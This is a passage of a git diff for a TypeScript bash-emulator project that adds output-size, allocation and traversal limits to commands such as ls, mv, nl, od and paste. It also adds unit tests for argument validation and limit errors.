@@ -561,6 +671,9 @@ async function listPath(
               sortBySize,
               classifyFiles,
               true,
+              traversalBudget,
+              traversalDepth + 1,
+              childAncestors,
             );
             return { name: dir.name, result };
           }),
@@ -576,13 +689,21 @@ async function listPath(
 
       // Append results
       for (const { result } of subResults) {
-        stdout += "\n";
-        stdout += result.stdout;
+        stdout = appendLsOutput(ctx, stdout, "\n");
+        stdout = appendLsOutput(ctx, stdout, result.stdout);
+        stderr = appendLsOutput(ctx, stderr, result.stderr);
+        if (result.exitCode !== 0) exitCode = result.exitCode;
       }
     }
 
-    return { stdout, stderr: "", exitCode: 0 };
-  } catch {
+    return { stdout, stderr, exitCode };
+  } catch (error) {
+    if (
+      error instanceof ExecutionLimitError ||
+      error instanceof ExecutionAbortedError
+    ) {
+      throw error;
+    }
     return {
       stdout: "",
       stderr: `ls: ${path}: No such file or directory\n`,
diff --git a/packages/just-bash/src/commands/md5sum/checksum.ts b/packages/just-bash/src/commands/md5sum/checksum.ts
index 568bd81c..62e89c64 100644
--- a/packages/just-bash/src/commands/md5sum/checksum.ts
+++ b/packages/just-bash/src/commands/md5sum/checksum.ts
@@ -4,7 +4,11 @@
  */
 
 import { decodeBytesToUtf8, latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 export type HashAlgorithm = "md5" | "sha1" | "sha256";
@@ -131,7 +135,7 @@ export function createChecksumCommand(
   name: string,
   algorithm: HashAlgorithm,
   summary: string,
-): Command {
+): RuntimeCommand {
   const help = {
     name,
     summary,
@@ -144,7 +148,10 @@ export function createChecksumCommand(
 
   return {
     name,
-    async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+    async execute(
+      args: string[],
+      ctx: RuntimeCommandContext,
+    ): Promise<ExecResult> {
       if (hasHelpFlag(args)) return showHelp(help);
 
       let check = false;
diff --git a/packages/just-bash/src/commands/md5sum/md5sum.ts b/packages/just-bash/src/commands/md5sum/md5sum.ts
index f5c7d978..ce7e91bf 100644
--- a/packages/just-bash/src/commands/md5sum/md5sum.ts
+++ b/packages/just-bash/src/commands/md5sum/md5sum.ts
@@ -1,7 +1,7 @@
-import type { Command } from "../../types.js";
+import type { RuntimeCommand } from "../../types.js";
 import { createChecksumCommand } from "./checksum.js";
 
-export const md5sumCommand: Command = createChecksumCommand(
+export const md5sumCommand: RuntimeCommand = createChecksumCommand(
   "md5sum",
   "md5",
   "compute MD5 message digest",
diff --git a/packages/just-bash/src/commands/md5sum/sha1sum.ts b/packages/just-bash/src/commands/md5sum/sha1sum.ts
index c7ca6fec..5b081d42 100644
--- a/packages/just-bash/src/commands/md5sum/sha1sum.ts
+++ b/packages/just-bash/src/commands/md5sum/sha1sum.ts
@@ -1,7 +1,7 @@
-import type { Command } from "../../types.js";
+import type { RuntimeCommand } from "../../types.js";
 import { createChecksumCommand } from "./checksum.js";
 
-export const sha1sumCommand: Command = createChecksumCommand(
+export const sha1sumCommand: RuntimeCommand = createChecksumCommand(
   "sha1sum",
   "sha1",
   "compute SHA1 message digest",
diff --git a/packages/just-bash/src/commands/md5sum/sha256sum.ts b/packages/just-bash/src/commands/md5sum/sha256sum.ts
index b237ab7a..9f0cb11f 100644
--- a/packages/just-bash/src/commands/md5sum/sha256sum.ts
+++ b/packages/just-bash/src/commands/md5sum/sha256sum.ts
@@ -1,7 +1,7 @@
-import type { Command } from "../../types.js";
+import type { RuntimeCommand } from "../../types.js";
 import { createChecksumCommand } from "./checksum.js";
 
-export const sha256sumCommand: Command = createChecksumCommand(
+export const sha256sumCommand: RuntimeCommand = createChecksumCommand(
   "sha256sum",
   "sha256",
   "compute SHA256 message digest",
diff --git a/packages/just-bash/src/commands/mkdir/mkdir.ts b/packages/just-bash/src/commands/mkdir/mkdir.ts
index 42763da3..31de3eb3 100644
--- a/packages/just-bash/src/commands/mkdir/mkdir.ts
+++ b/packages/just-bash/src/commands/mkdir/mkdir.ts
@@ -1,6 +1,10 @@
 import { sanitizeErrorMessage } from "../../fs/sanitize-error.js";
 import { getErrorMessage } from "../../interpreter/helpers/errors.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 
 const argDefs = {
@@ -8,10 +12,13 @@ const argDefs = {
   verbose: { short: "v", long: "verbose", type: "boolean" as const },
 };
 
-export const mkdirCommand: Command = {
+export const mkdirCommand: RuntimeCommand = {
   name: "mkdir",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     const parsed = parseArgs("mkdir", args, argDefs);
     if (!parsed.ok) return parsed.error;
 
diff --git a/packages/just-bash/src/commands/mv/mv.ts b/packages/just-bash/src/commands/mv/mv.ts
index 1e168929..9c7deb13 100644
--- a/packages/just-bash/src/commands/mv/mv.ts
+++ b/packages/just-bash/src/commands/mv/mv.ts
@@ -1,5 +1,20 @@
+import { isSameOrDescendantPath } from "../../fs/path-utils.js";
+import {
+  compareCanonicalContainment,
+  compareFileIdentity,
+  FileTraversalBudget,
+  traverseFileTree,
+} from "../../fs/traversal.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../../interpreter/errors.js";
 import { getErrorMessage } from "../../interpreter/helpers/errors.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -21,10 +36,13 @@ const argDefs = {
   verbose: { short: "v", long: "verbose", type: "boolean" as const },
 };
 
-export const mvCommand: Command = {
+export const mvCommand: RuntimeCommand = {
   name: "mv",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(mvHelp);
     }
@@ -57,6 +75,12 @@ export const mvCommand: Command = {
     let stdout = "";
     let stderr = "";
     let exitCode = 0;
+    const traversalBudget = new FileTraversalBudget({
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: "mv",
+    });
 
     // Note: force is accepted but not used since we don't prompt
     void force;
@@ -82,6 +106,7 @@ export const mvCommand: Command = {
     for (const src of sources) {
       try {
         const srcPath = ctx.fs.resolvePath(ctx.cwd, src);
+        const srcStat = await ctx.fs.stat(srcPath);
 
         let targetPath = destPath;
         if (destIsDir) {
@@ -89,17 +114,62 @@ export const mvCommand: Command = {
           targetPath =
             destPath === "/" ? `/${basename}` : `${destPath}/${basename}`;
         }
-
-        // Check if target exists for -n flag
+        if (srcStat.isDirectory) {
+          const containment = await compareCanonicalContainment(
+            ctx.fs,
+            srcPath,
+            targetPath,
+            traversalBudget,
+          );
+          if (
+            isSameOrDescendantPath(srcPath, targetPath) ||
+            containment === "inside"
+          ) {
+            stderr += `mv: cannot move '${src}' into itself, '${targetPath}'\n`;
+            exitCode = 1;
+            continue;
+          }
+          if (containment === "unknown") {
+            stderr += `mv: cannot safely determine whether '${targetPath}' is inside '${src}'\n`;
+            exitCode = 1;
+            continue;
+          }
+        }
+        // A no-clobber skip performs no destructive operation and therefore
+        // does not require proving the identity of the existing target.
         if (noClobber) {
           try {
             await ctx.fs.stat(targetPath);
-            // Target exists and -n is set, skip this file silently
             continue;
           } catch {
-            // Target doesn't exist, proceed with move
+            // Target doesn't exist, proceed with move.
           }
         }
+        const identity = await compareFileIdentity(ctx.fs, srcPath, targetPath);
+        if (identity === "same") {
+          // POSIX rename of a file onto itself succeeds without changing it.
+          continue;
+        }
+        if (identity === "unknown") {
+          stderr += `mv: cannot safely determine whether '${src}' and '${targetPath}' are the same file\n`;
+          exitCode = 1;
+          continue;
+        }
+        if (srcStat.isDirectory) {
+          await traverseFileTree(
+            {
+              fs: ctx.fs,
+              root: srcPath,
+              limits: ctx.limits,
+              signal: ctx.signal,
+              executionScope: ctx.executionScope,
+              site: "mv",
+              symlinks: "never",
+              budget: traversalBudget,
+            },
+            () => undefined,
+          );
+        }
 
         await ctx.fs.mv(srcPath, targetPath);
 
@@ -110,6 +180,12 @@ export const mvCommand: Command = {
           stdout += `renamed '${src}' -> '${targetName}'\n`;
         }
       } catch (error) {
+        if (
+          error instanceof ExecutionLimitError ||
+          error instanceof ExecutionAbortedError
+        ) {
+          throw error;
+        }
         const message = getErrorMessage(error);
         if (message.includes("ENOENT") || message.includes("no such file")) {
           stderr += `mv: cannot stat '${src}': No such file or directory\n`;
diff --git a/packages/just-bash/src/commands/nl/nl.test.ts b/packages/just-bash/src/commands/nl/nl.test.ts
index 2576a0dd..a4a05e91 100644
--- a/packages/just-bash/src/commands/nl/nl.test.ts
+++ b/packages/just-bash/src/commands/nl/nl.test.ts
@@ -1,5 +1,6 @@
 import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 
 describe("nl", () => {
   it("numbers lines from stdin", async () => {
@@ -182,6 +183,48 @@ describe("nl", () => {
     expect(result.stderr).toContain("invalid line number field width");
   });
 
+  it("rejects a field width above the allocation limit", async () => {
+    const bash = new Bash({
+      executionLimits: { maxStringLength: 32, maxOutputSize: 64 },
+    });
+    const result = await bash.exec("printf 'x' | nl -w 33");
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("nl: invalid line number field width: '33'\n");
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("rejects non-finite field widths before padding", async () => {
+    const bash = new Bash();
+    const huge = "9".repeat(400);
+    const result = await bash.exec(`printf 'x' | nl -w ${huge}`);
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      `nl: invalid line number field width: '${huge}'\n`,
+    );
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("rejects trailing width garbage before padding", async () => {
+    const bash = new Bash();
+    const result = await bash.exec("nl -w 8x");
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("nl: invalid line number field width: '8x'\n");
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("checks aggregate UTF-8 output before line concatenation", async () => {
+    const bash = new Bash({
+      files: { "/input": "é\né" },
+      executionLimits: { maxStringLength: 100, maxOutputSize: 18 },
+    });
+    const result = await bash.exec("nl /input");
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      "bash: nl: output size limit exceeded (18 bytes)\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
   it("handles negative start number", async () => {
     const bash = new Bash();
     const result = await bash.exec("printf 'a\\nb\\nc\\n' | nl -v -1");
diff --git a/packages/just-bash/src/commands/nl/nl.ts b/packages/just-bash/src/commands/nl/nl.ts
index 8bcb9eba..a314bf2f 100644
--- a/packages/just-bash/src/commands/nl/nl.ts
+++ b/packages/just-bash/src/commands/nl/nl.ts
@@ -7,8 +7,13 @@
  * If no FILE is specified, standard input is read.
  */
 
-import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { decodeBytesToUtf8, utf8ByteLength } from "../../encoding.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const nlHelp = {
@@ -87,6 +92,7 @@ function processContent(
   content: string,
   options: NlOptions,
   currentNumber: number,
+  maxOutputBytes: number,
 ): { output: string; nextNumber: number } {
   // Handle empty input
   if (content === "") {
@@ -95,6 +101,7 @@ function processContent(
 
   const lines = content.split("\n");
   const resultLines: string[] = [];
+  let outputBytes = 0;
   let lineNumber = currentNumber;
 
   // Handle trailing newline
@@ -105,30 +112,64 @@ function processContent(
   }
 
   for (const line of lines) {
+    const newlineBytes = resultLines.length > 0 ? 1 : 0;
+    const suffixBytes =
+      utf8ByteLength(options.separator) + utf8ByteLength(line);
     if (shouldNumber(line, options.bodyStyle)) {
+      const prospectiveBytes =
+        Math.max(String(lineNumber).length, options.width) +
+        suffixBytes +
+        newlineBytes;
+      if (prospectiveBytes > maxOutputBytes - outputBytes) {
+        throw new ExecutionLimitError(
+          `nl: output size limit exceeded (${maxOutputBytes} bytes)`,
+          "output_size",
+        );
+      }
       const formattedNum = formatLineNumber(
         lineNumber,
         options.numberFormat,
         options.width,
       );
-      resultLines.push(`${formattedNum}${options.separator}${line}`);
+      const outputLine = `${formattedNum}${options.separator}${line}`;
+      resultLines.push(outputLine);
+      outputBytes += prospectiveBytes;
       lineNumber += options.increment;
     } else {
       // Empty line without numbering - just add padding spaces for alignment
+      const prospectiveBytes = options.width + suffixBytes + newlineBytes;
+      if (prospectiveBytes > maxOutputBytes - outputBytes) {
+        throw new ExecutionLimitError(
+          `nl: output size limit exceeded (${maxOutputBytes} bytes)`,
+          "output_size",
+        );
+      }
       const padding = " ".repeat(options.width);
-      resultLines.push(`${padding}${options.separator}${line}`);
+      const outputLine = `${padding}${options.separator}${line}`;
+      resultLines.push(outputLine);
+      outputBytes += prospectiveBytes;
     }
   }
 
+  if (hasTrailingNewline && outputBytes + 1 > maxOutputBytes) {
+    throw new ExecutionLimitError(
+      `nl: output size limit exceeded (${maxOutputBytes} bytes)`,
+      "output_size",
+    );
+  }
+
   return {
     output: resultLines.join("\n") + (hasTrailingNewline ? "\n" : ""),
     nextNumber: lineNumber,
   };
 }
 
-export const nl: Command = {
+export const nl: RuntimeCommand = {
   name: "nl",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(nlHelp);
     }
@@ -143,6 +184,11 @@ export const nl: Command = {
     };
 
     const files: string[] = [];
+    const maxFieldWidth = Math.min(
+      ctx.limits.maxStringLength,
+      ctx.limits.maxOutputSize,
+    );
+    const maxOutputBytes = maxFieldWidth;
     let i = 0;
 
     while (i < args.length) {
@@ -193,8 +239,12 @@ export const nl: Command = {
         options.numberFormat = format;
         i++;
       } else if (arg === "-w" && i + 1 < args.length) {
-        const width = parseInt(args[i + 1], 10);
-        if (Number.isNaN(width) || width < 1) {
+        const width = /^\d+$/.test(args[i + 1]) ? Number(args[i + 1]) : NaN;
+        if (
+          !Number.isSafeInteger(width) ||
+          width < 1 ||
+          width > maxFieldWidth
+        ) {
           return {
             exitCode: 1,
             stdout: "",
@@ -204,8 +254,12 @@ export const nl: Command = {
         options.width = width;
         i += 2;
       } else if (arg.startsWith("-w")) {
-        const width = parseInt(arg.slice(2), 10);
-        if (Number.isNaN(width) || width < 1) {
+        const width = /^\d+$/.test(arg.slice(2)) ? Number(arg.slice(2)) : NaN;
+        if (
+          !Number.isSafeInteger(width) ||
+          width < 1 ||
+          width > maxFieldWidth
+        ) {
           return {
             exitCode: 1,
             stdout: "",
@@ -282,7 +336,7 @@ export const nl: Command = {
       // Read from stdin. nl reads files as utf8 by default; normalize stdin
       // to text so the line-numbered output is consistent with file inputs.
       const input = decodeBytesToUtf8(ctx.stdin) ?? "";
-      const result = processContent(input, options, lineNumber);
+      const result = processContent(input, options, lineNumber, maxOutputBytes);
       output = result.output;
     } else {
       // Process each file
@@ -296,7 +350,12 @@ export const nl: Command = {
             stderr: `nl: ${file}: No such file or directory\n`,
           };
         }
-        const result = processContent(content, options, lineNumber);
+        const result = processContent(
+          content,
+          options,
+          lineNumber,
+          maxOutputBytes - utf8ByteLength(output),
+        );
         output += result.output;
         lineNumber = result.nextNumber;
       }
diff --git a/packages/just-bash/src/commands/od/od.test.ts b/packages/just-bash/src/commands/od/od.test.ts
index e22d1dbf..3ad7501c 100644
--- a/packages/just-bash/src/commands/od/od.test.ts
+++ b/packages/just-bash/src/commands/od/od.test.ts
@@ -43,6 +43,18 @@ describe("od command", () => {
     expect(result.exitCode).toBe(0);
   });
 
+  it("concatenates every file operand in order", async () => {
+    const env = new Bash({ files: { "/a": "A", "/b": "B" } });
+    const result = await env.exec("od /a /b");
+    expect(result.stdout).toBe("0000000  101 102\n0000002\n");
+  });
+
+  it("honors stdin operands between file operands", async () => {
+    const env = new Bash({ files: { "/a": "A", "/b": "B" } });
+    const result = await env.exec("echo -n X | od /a - /b");
+    expect(result.stdout).toBe("0000000  101 130 102\n0000003\n");
+  });
+
   it("should error on non-existent file", async () => {
     const env = new Bash();
     const result = await env.exec("od /nonexistent/file.txt");
diff --git a/packages/just-bash/src/commands/od/od.ts b/packages/just-bash/src/commands/od/od.ts
index 3d508de1..def940c5 100644
--- a/packages/just-bash/src/commands/od/od.ts
+++ b/packages/just-bash/src/commands/od/od.ts
@@ -7,14 +7,21 @@
  * of FILE to standard output.
  */
 
+import { BoundedStringBuilder } from "../../bounded-builder.js";
 import { latin1FromBytes, readBytesFrom } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
 type OutputFormat = "octal" | "hex" | "char";
 
 async function odExecute(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   // Parse options
   let addressMode: "octal" | "none" = "octal";
@@ -47,21 +54,27 @@ async function odExecute(
     outputFormats.push("octal");
   }
 
-  // Get input - from file or stdin. od is byte-oriented: dump the raw byte
-  // buffer character-by-character, where each char is one byte.
-  let input: string = latin1FromBytes(ctx.stdin);
-
-  // Check for file argument
-  if (fileArgs.length > 0 && fileArgs[0] !== "-") {
-    const filePath = fileArgs[0].startsWith("/")
-      ? fileArgs[0]
-      : `${ctx.cwd}/${fileArgs[0]}`;
+  // Concatenate every operand in order. A `-` operand contributes stdin at
+  // that exact position; with no operands stdin is the sole input.
+  const input = new BoundedStringBuilder(ctx.limits.maxInputBytes, "od input");
+  const operands = fileArgs.length === 0 ? ["-"] : fileArgs;
+  for (const operand of operands) {
+    if (operand === "-") {
+      input.append(latin1FromBytes(ctx.stdin));
+      continue;
+    }
+    const filePath = operand.startsWith("/")
+      ? operand
+      : `${ctx.cwd}/${operand}`;
     try {
-      input = latin1FromBytes(await readBytesFrom(ctx.fs, filePath));
-    } catch {
+      const content = latin1FromBytes(await readBytesFrom(ctx.fs, filePath));
+      ctx.executionScope?.consumeInput(content.length, "od");
+      input.append(content);
+    } catch (error) {
+      rethrowFatalExecutionError(error);
       return {
         stdout: "",
-        stderr: `od: ${fileArgs[0]}: No such file or directory\n`,
+        stderr: `od: ${operand}: No such file or directory\n`,
         exitCode: 1,
       };
     }
@@ -106,32 +119,52 @@ async function odExecute(
     return ` ${code.toString(8).padStart(3, "0")}`;
   }
 
-  // Get bytes from input
-  const bytes: number[] = [];
-  for (const char of input) {
-    bytes.push(char.charCodeAt(0));
-  }
+  const inputBytes = input.build();
 
   // Determine bytes per line (use 16 for hex/char compatibility)
   const bytesPerLine = 16;
 
   // Build output lines
-  const lines: string[] = [];
-
-  for (let offset = 0; offset < bytes.length; offset += bytesPerLine) {
-    const chunkBytes = bytes.slice(offset, offset + bytesPerLine);
+  const output = new BoundedStringBuilder(
+    Math.min(ctx.limits.maxOutputSize, ctx.limits.maxStringLength),
+    "od",
+  );
+  const formatCount = outputFormats.length;
+  if (
+    formatCount > 0 &&
+    inputBytes.length > Math.floor(ctx.limits.maxLoopIterations / formatCount)
+  ) {
+    throw new ExecutionLimitError(
+      `od: format work limit exceeded (${ctx.limits.maxLoopIterations})`,
+      "iterations",
+    );
+  }
+  ctx.executionScope?.consumeWork(
+    inputBytes.length * formatCount,
+    "od formatting",
+  );
 
+  for (let offset = 0; offset < inputBytes.length; offset += bytesPerLine) {
     // For each output format, generate a line
     for (let formatIdx = 0; formatIdx < outputFormats.length; formatIdx++) {
       const format = outputFormats[formatIdx];
       let formatted: string[];
 
       if (format === "char") {
-        formatted = chunkBytes.map(formatCharByte);
+        formatted = Array.from(
+          inputBytes.slice(offset, offset + bytesPerLine),
+          (char) => formatCharByte(char.charCodeAt(0)),
+        );
       } else if (format === "hex") {
-        formatted = chunkBytes.map(formatHexByte);
+        formatted = Array.from(
+          inputBytes.slice(offset, offset + bytesPerLine),
+          (char) => formatHexByte(char.charCodeAt(0)),
+        );
       } else {
-        formatted = chunkBytes.map(formatOctalByte);
+        formatted = Array.from(
+          inputBytes.slice(offset, offset + bytesPerLine),
+          (char) => formatOctalByte(char.charCodeAt(0)),
+        );
       }
 
       // Add address prefix only for the first format of each offset
@@ -144,23 +177,23 @@ async function odExecute(
       }
 
       // No separator needed - each field already includes leading spaces
-      lines.push(prefix + formatted.join(""));
+      output.append(prefix + formatted.join("")).append("\n");
     }
   }
 
   // Add final address
-  if (addressMode !== "none" && bytes.length > 0) {
-    lines.push(bytes.length.toString(8).padStart(7, "0"));
+  if (addressMode !== "none" && inputBytes.length > 0) {
+    output.append(inputBytes.length.toString(8).padStart(7, "0")).append("\n");
   }
 
   return {
-    stdout: lines.length > 0 ? `${lines.join("\n")}\n` : "",
+    stdout: output.build(),
     stderr: "",
     exitCode: 0,
   };
 }
 
-export const od: Command = {
+export const od: RuntimeCommand = {
   name: "od",
   execute: odExecute,
 };
diff --git a/packages/just-bash/src/commands/paste/paste.test.ts b/packages/just-bash/src/commands/paste/paste.test.ts
index d57309fb..d9d53f93 100644
--- a/packages/just-bash/src/commands/paste/paste.test.ts
+++ b/packages/just-bash/src/commands/paste/paste.test.ts
@@ -51,6 +51,13 @@ describe("paste command", () => {
   });
 
   describe("-d (delimiter)", () => {
+    it("treats an empty delimiter list as an empty separator", async () => {
+      const env = createEnv();
+      const result = await env.exec("paste -d '' file1.txt file2.txt");
+      expect(result.stdout).toBe("a1\nb2\nc3\n");
+      expect(result.stdout).not.toContain("undefined");
+    });
+
     it("should use custom delimiter", async () => {
       const env = createEnv();
       const result = await env.exec("paste -d, file1.txt file2.txt");
diff --git a/packages/just-bash/src/commands/paste/paste.ts b/packages/just-bash/src/commands/paste/paste.ts
index 16d3832e..c53c77f5 100644
--- a/packages/just-bash/src/commands/paste/paste.ts
+++ b/packages/just-bash/src/commands/paste/paste.ts
@@ -1,5 +1,12 @@
-import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { decodeBytesToUtf8, utf8ByteLength } from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
@@ -36,9 +43,12 @@ const argDefs = {
   serial: { short: "s", long: "serial", type: "boolean" as const },
 };
 
-export const pasteCommand: Command = {
+export const pasteCommand: RuntimeCommand = {
   name: "paste",
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(pasteHelp);
     }
@@ -49,6 +59,18 @@ export const pasteCommand: Command = {
     const delimiter = parsed.result.flags.delimiter;
     const serial = parsed.result.flags.serial;
     const files = parsed.result.positional;
+    if (files.length > ctx.limits.maxArrayElements) {
+      throw new ExecutionLimitError(
+        `paste: file operand limit exceeded (${ctx.limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
+    if (utf8ByteLength(delimiter) > ctx.limits.maxStringLength) {
+      throw new ExecutionLimitError(
+        `paste: delimiter size limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
 
     // If no files specified, show usage error (matches BSD/macOS behavior)
     if (files.length === 0) {
@@ -75,6 +97,18 @@ export const pasteCommand: Command = {
     // Read all file contents
     // For stdin entries, we'll distribute lines across them
     const fileContents: (string[] | null)[] = [];
+    let retainedLines = 0;
+    let inputBytes = utf8ByteLength(stdinText);
+    const retain = (lines: string[]): void => {
+      if (lines.length > ctx.limits.maxArrayElements - retainedLines) {
+        throw new ExecutionLimitError(
+          `paste: line limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      retainedLines += lines.length;
+      ctx.executionScope?.consumeWork(lines.length, "paste lines");
+    };
     let stdinIndex = 0;
 
     for (const file of files) {
@@ -84,19 +118,31 @@ export const pasteCommand: Command = {
         for (let i = stdinIndex; i < stdinLines.length; i += stdinCount) {
           thisStdinLines.push(stdinLines[i]);
         }
+        retain(thisStdinLines);
         fileContents.push(thisStdinLines);
         stdinIndex++;
       } else {
         const filePath = ctx.fs.resolvePath(ctx.cwd, file);
         try {
           const content = await ctx.fs.readFile(filePath);
+          const contentBytes = utf8ByteLength(content);
+          if (contentBytes > ctx.limits.maxInputBytes - inputBytes) {
+            throw new ExecutionLimitError(
+              `paste: aggregate input size limit exceeded (${ctx.limits.maxInputBytes} bytes)`,
+              "string_length",
+            );
+          }
+          inputBytes += contentBytes;
+          ctx.executionScope?.consumeInput(contentBytes, "paste");
           const lines = content.split("\n");
           // Remove trailing empty line if content ends with newline
           if (lines.length > 0 && lines[lines.length - 1] === "") {
             lines.pop();
           }
+          retain(lines);
           fileContents.push(lines);
-        } catch {
+        } catch (error) {
+          rethrowFatalExecutionError(error);
           return {
             stdout: "",
             stderr: `paste: ${file}: No such file or directory\n`,
@@ -106,31 +152,37 @@ export const pasteCommand: Command = {
       }
     }
 
-    let output = "";
+    const output = new BoundedStringBuilder(
+      Math.min(ctx.limits.maxOutputSize, ctx.limits.maxStringLength),
+      "paste",
+    );
 
     if (serial) {
       // Serial mode: paste all lines of each file on one line
       for (const lines of fileContents) {
         if (lines) {
-          output += `${joinWithDelimiters(lines, delimiter)}\n`;
+          output.append(`${joinWithDelimiters(lines, delimiter)}\n`);
         }
       }
     } else {
       // Parallel mode: merge lines from all files
-      const maxLines = Math.max(...fileContents.map((f) => f?.length ?? 0));
+      let maxLines = 0;
+      for (const content of fileContents) {
+        maxLines = Math.max(maxLines, content?.length ?? 0);
+      }
 
       for (let lineIdx = 0; lineIdx < maxLines; lineIdx++) {
         const lineParts: string[] = [];
         for (const lines of fileContents) {
           lineParts.push(lines?.[lineIdx] ?? "");
         }
-        output += `${joinWithDelimiters(lineParts, delimiter)}\n`;
+        output.append(`${joinWithDelimiters(lineParts, delimiter)}\n`);
       }
     }
 
     // paste emits text; the pipeline handles encoding.
     return {
-      stdout: output,
+      stdout: output.build(),
       stderr: "",
       exitCode: 0,
     };
@@ -144,6 +196,7 @@ export const pasteCommand: Command = {
 function joinWithDelimiters(parts: string[], delimiters: string): string {
   if (parts.length === 0) return "";
   if (parts.length === 1) return parts[0];
+  if (delimiters.length === 0) return parts.join("");
 
   let result = parts[0];
   for (let i = 1; i < parts.length; i++) {
diff --git a/packages/just-bash/src/commands/printf/escapes.ts b/packages/just-bash/src/commands/printf/escapes.ts
index e4f1348a..3a3ea75e 100644
--- a/packages/just-bash/src/commands/printf/escapes.ts
+++ b/packages/just-bash/src/commands/printf/escapes.ts
@@ -3,6 +3,32 @@
  * Used by printf command and find -printf
  */
 
+import { utf8ByteLength } from "../../encoding.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
+export { utf8ByteLength } from "../../encoding.js";
+
+const DEFAULT_MAX_FORMAT_BYTES: number = 10 * 1024 * 1024;
+
+export function assertFormattingInteger(
+  value: number,
+  maxBytes: number,
+  kind: "width" | "precision",
+): void {
+  const magnitude = kind === "width" ? Math.abs(value) : value;
+  if (
+    !Number.isFinite(value) ||
+    !Number.isSafeInteger(value) ||
+    magnitude < 0 ||
+    magnitude > maxBytes
+  ) {
+    throw new ExecutionLimitError(
+      `format ${kind} limit exceeded (${maxBytes} bytes)`,
+      "string_length",
+    );
+  }
+}
+
 /**
  * Apply width and alignment to a string value
  * Supports: width (right-justify), -width (left-justify), .precision (truncate)
@@ -14,7 +40,12 @@ export function applyWidth(
   value: string,
   width: number,
   precision: number,
+  maxBytes: number = DEFAULT_MAX_FORMAT_BYTES,
 ): string {
+  assertFormattingInteger(width, maxBytes, "width");
+  if (precision !== -1) {
+    assertFormattingInteger(precision, maxBytes, "precision");
+  }
   let result = value;
 
   // Apply precision (truncate)
@@ -25,6 +56,13 @@ export function applyWidth(
   // Apply width
   const absWidth = Math.abs(width);
   if (absWidth > result.length) {
+    const prospectiveBytes = utf8ByteLength(result) + absWidth - result.length;
+    if (prospectiveBytes > maxBytes) {
+      throw new ExecutionLimitError(
+        `formatted value size limit exceeded (${maxBytes} bytes)`,
+        "string_length",
+      );
+    }
     if (width < 0) {
       // Left-justify
       result = result.padEnd(absWidth, " ");
@@ -34,6 +72,13 @@ export function applyWidth(
     }
   }
 
+  if (utf8ByteLength(result) > maxBytes) {
+    throw new ExecutionLimitError(
+      `formatted value size limit exceeded (${maxBytes} bytes)`,
+      "string_length",
+    );
+  }
+
   return result;
 }
 
@@ -46,6 +91,7 @@ export function applyWidth(
 export function parseWidthPrecision(
   format: string,
   startIndex: number,
+  maxBytes: number = DEFAULT_MAX_FORMAT_BYTES,
 ): [number, number, number] {
   let i = startIndex;
   let width = 0;
@@ -79,6 +125,11 @@ export function parseWidthPrecision(
